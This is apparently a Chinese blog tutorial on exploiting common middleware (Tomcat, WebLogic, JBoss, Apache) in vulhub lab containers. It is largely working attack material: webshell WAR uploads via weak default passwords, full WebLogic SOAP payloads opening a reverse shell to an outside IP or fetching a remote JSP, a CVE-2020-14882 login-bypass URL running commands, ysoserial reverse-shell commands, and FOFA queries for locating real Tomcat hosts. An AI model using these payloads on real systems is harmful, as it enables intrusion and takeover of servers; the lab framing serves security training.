常见中间件漏洞(tomcat,weblogic,jboss,apache)

先准备好今天要使用的木马文件

使用哥斯拉生成木马

压缩成zip文件 改名为war后缀

一:Tomcat

1.1CVE-2017-12615

环境搭建

cd vulhub-master/tomcat/CVE-2017-12615
docker-compose up -d

1.首页抓包,修改为 PUT 方式提交 发送shell.jsp 和木马内容 201创建成功

2.访问木马页面空白 就说明上传成功

3.回到哥斯拉 连接 密码和密钥 生成木马没改 这里连接也不用改

进入终端执行命令

1.2后台弱口令部署var包

环境搭建

cd vulhub-master/tomcat/tomcat8 
docker-compose up -d

1.制作WAR包

制作WAR包,将JSP⽊⻢压缩为ZIP格式,然后修改后缀为war就可以了。

var包相当于压缩包

2.弱密码登录 tomcat tomcat

3.上传war文件并访问

选择var文件用来上传

访问木马地址 页面空白 说明上传成功

4.连接马

1.3 CVE_2020-1938

环境搭建

cd vulhub-master/tomcat/CVE-2020-1938 
docker-compose up -d

1.POC 攻击

tomcat有一个配置文件 /web_inf/web.xml

python cve-2020-1938.py -p 8009 -f /WEB-INF/web.xml 靶机IP

1.4实战挖洞

fofa
app=
"tomcat"
server=
"Apache Tomcat" && body=
"Apache Tomcat"

  
识别:如果给你⼀个⽹站你怎么判断它使⽤了tomcat这个中间件呢

1.默认端⼝ 8080 2.浏览器的指纹识别插件
3.默认管理路由 /manage/html
4.server头 Apache Tomcat

指纹识别 识别网站用了什么技术

tomcat 8 /manage里面有内容 9删掉了后台

二、Weblogic

2.1后台弱口令GetShell

环境搭建

cd vulhub-master/weblogic/weak_password
docker-compose up -d

这个报错页面是默认的weblogic页面

1.进入/console 弱口令登录

默认账号密码:weblogic/Oracle@123

weblogic常⽤弱⼝令:https://cirt.net/passwords?criteria=weblogic

这⾥注意, 单个账号错误密码5次之后就会⾃动锁定。

访问 登录成功

2.上传马

一直点下一步 完成安装

上传以后访问 页面空白说明上传成功

3.连接马

2.2CVE-2017-3506

环境搭建

cd vulhub-master/weblogic/weak_password
docker-compose up -d

1.验证是否存在wls-wsat组件

访问以下⽬录中的⼀种,有回显如下图可以判断wls-wsat组件存在

/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11

2.在当前页面抓包之后,添加下面请求包,反弹shell

右键 改变请求方法

添加请求数据包

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
        <java version="1.8.0_131" class="java.beans.XMLDecoder">
          <object class="java.lang.ProcessBuilder">
            <array class="java.lang.String" length="3">
              <void index="0">
                <string>/bin/bash</string>
              </void>
              <void index="1">
                <string>-c</string>
              </void>
              <void index="2">
                <string>bash -i &gt;&amp; /dev/tcp/124.221.58.83/6666 0&gt;&amp;1</string>
              </void>
            </array>
          <void method="start"/></object>
        </java>
      </work:WorkContext>
    </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>

3.本机开启监听

nc -lvvp 8888

修改 Content-Type: text/xml

端口正常

2.3 CVE-2019-2725

环境搭建

cd vulhub-master/weblogic/weak_password
docker-compose up -d

1.漏洞验证

_async/AsyncResponseService

2.远程部署马

访问部署马81端口

3.在当前页面抓包 , 修改请求包 , 写入shell

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://114.132.92.17/2.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/678.jsp
</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header><soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>
木马位置:http://ip:7001/bea_wls_internal/678.jsp

4.访问木马 页面空白说明文件上传成功

5.连接马

2.4 CVE-2018-2628

环境搭建

cd vulhub-master/weblogic/CVE-2018-2628 
docker-compose up -d

1.使用漏洞利用工具检查

2.5 CVE-2018-2894

环境搭建

cd vulhub-master/weblogic/CVE-2018-2894 
docker-compose up -d

这⾥环境后台密码是随机得,获取密码: docker-compose logs | grep password

进入/console 登录

1.设置Web服务测试开启点击保存

2.进入 config.do ⽂件进⾏设置

121.40.229.129:7001/ws_utc/config.do

进入修改当前工作目录

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

3.上传马

提交后在查看器查找木马上传位置

4.访问马 页面空白说明上传成功

5.连接马

2.6 CVE-2020-14882

环境搭建

cd vulhub-master/weblogic/CVE-2020-14882 
docker-compose up -d

1.访问管理控制台

/console 来到工作台

2.使用url绕过登录

/console/css/%252e%252e%252fconsole.portal

第一次进入404正常

继续访问 即可绕过登录

3.远程加载xml 获取shell

/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success');")

404 是正常的 来到终端查看是否上传成功

反弹shell

设置反弹shell

改名字

重新开端口监听6666

命令实在1.xml里面写的收到反弹shell

三:Jboss

3.1 CVE-2015-7501

环境搭建

cd vulhub-master/jboss/JMXInvokerServlet-deserialization
docker-compose up -d

1.POC 访问地址

http://121.40.229.129:8080/invoker/JMXInvokerServlet

返回如下,说明接口开放,此接口存在反序列化漏洞

2.下载 ysoserial ⼯具进行漏洞利用

先本地开启反弹shell的监听接口

将反弹shell进⾏base64编码

bash -i >& /dev/tcp/8.155.8.82/8888 0>&1
YmFzaCAtaSA+JiAvZGV2L3RjcC84LjE1NS44LjgyLzg4ODggMD4mMQ==

curl http://8.155.7.133:8080/invoker/JMXInvokerServlet --data-binary @exp.ser

工具目录进入cmd

java8 -jar ysoserial-all.jar CommonsCollections5 "bash -c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjE1NS44LjgyLzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i} ">exp.ser

3.执行命令

curl http://8.155.8.82:8080/invoker/JMXInvokerServlet --data-binary @exp.ser

4.成功反弹

3.2 CVE-2017-7504

环境搭建

cd vulhub-master/jboss/CVE-2017-7504 
docker-compose up -d

1.测试漏洞

/jbossmq-httpil/HTTPServerILServlet

2.工具探测

python3 jexboss.py -u http://8.155.8.82:8080

3.3 CVE-2017-12149

环境搭建

cd vulhub-master/jboss/CVE-2017-12149 
docker-compose up -d

1.访问漏洞页面

2.验证是否存在漏洞 , 访问

http://8.155.8.82:8080/invoker/readonly
访问地址:/invoker/readonly
该漏洞出现在/invoker/readonly中 ,服务器将用户post请求内容进行反序列化

返回500,说明页面存在,此页面存在反序列化漏洞

3.使用工具进行检测 DeserializeExploit 如果成功直接上传webshell即可

3.4 Administration Console弱口令

环境搭建

cd vulhub-master/jboss/CVE-2017-12149 
docker-compose up -d

密码文件

/jboss-6.1.0.Final/server/default/conf/props/jmx-console-users.properties
账户:密码admin:vulhub

访问地址:/admin-console/login.seam

登录后台 上传木马文件

进行木马连接

http://IP:8080/shell/shell.jsp

3.5 低版本JMX Console未授权

环境搭建

cd vulhub-master/jboss/CVE-2017-7504
docker-compose up -d

访问 /jmx-console 正常不需要登录 这里漏洞不存在 需要登录admin admin

远程部署war包

python3 -m http.server 81

war包访问成功

来到靶机

 http://8.155.8.82:81/java.war //填入ParamValue

访问

进行木马连接

3.6 高版本JMX Console未授权

环境搭建

cd vulhub-master/jboss/CVE-2017-12149 
docker-compose up -d

访问 /jmx-console

因为使⽤环境不存在该漏洞所以需要输⼊账户密码:admin vulhub

搭建远程部署 , 部署远程war包地址

在JMX Console⻚⾯点击jboss.system链接,在Jboss.system⻚⾯中点击service=MainDeployer

进⼊service=MainDeployer⻚⾯之后,找到methodIndex为17或19的deploy 填写远程war包地址进⾏

远程部署

进行木马连接

四、Apache

环境搭建 拉取并开启

docker pull blueteamsteve/cve-2021-41773:no-cgid
docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:no-cgid

开启靶场

1.使用POC

2.工具验证

相关推荐
她比寒风冷1 小时前
网络安全抓包
安全·网络安全
西瓜味儿的小志2 小时前
Redis的大key和热key问题
数据库·redis·缓存·中间件
MorleyOlsen4 小时前
【计算机网络安全】CA和安全电子邮件
网络·安全·web安全·ca
橙狮科技4 小时前
提示词工程教程:提示词安全
人工智能·安全·自然语言处理
Xi_er_5 小时前
密钥管理系统在数据安全解决方案中的重要性
运维·数据仓库·物联网·web安全·前端框架·智慧城市·安全架构
yz7176 小时前
计算机网络•自顶向下方法:网络安全、RSA算法
学习·计算机网络·web安全
网络安全Max6 小时前
网络安全领域的证书考试
安全·web安全
网络安全成叔7 小时前
【整理集合大全】MySQL(4) 数据库增删改查SQL语句
网络·数据库·sql·mysql·web安全·网络安全
vvw&7 小时前
在 Ubuntu 22.04 上部署 AppArmor 应用安全教程
linux·运维·服务器·nginx·安全·ubuntu·node.js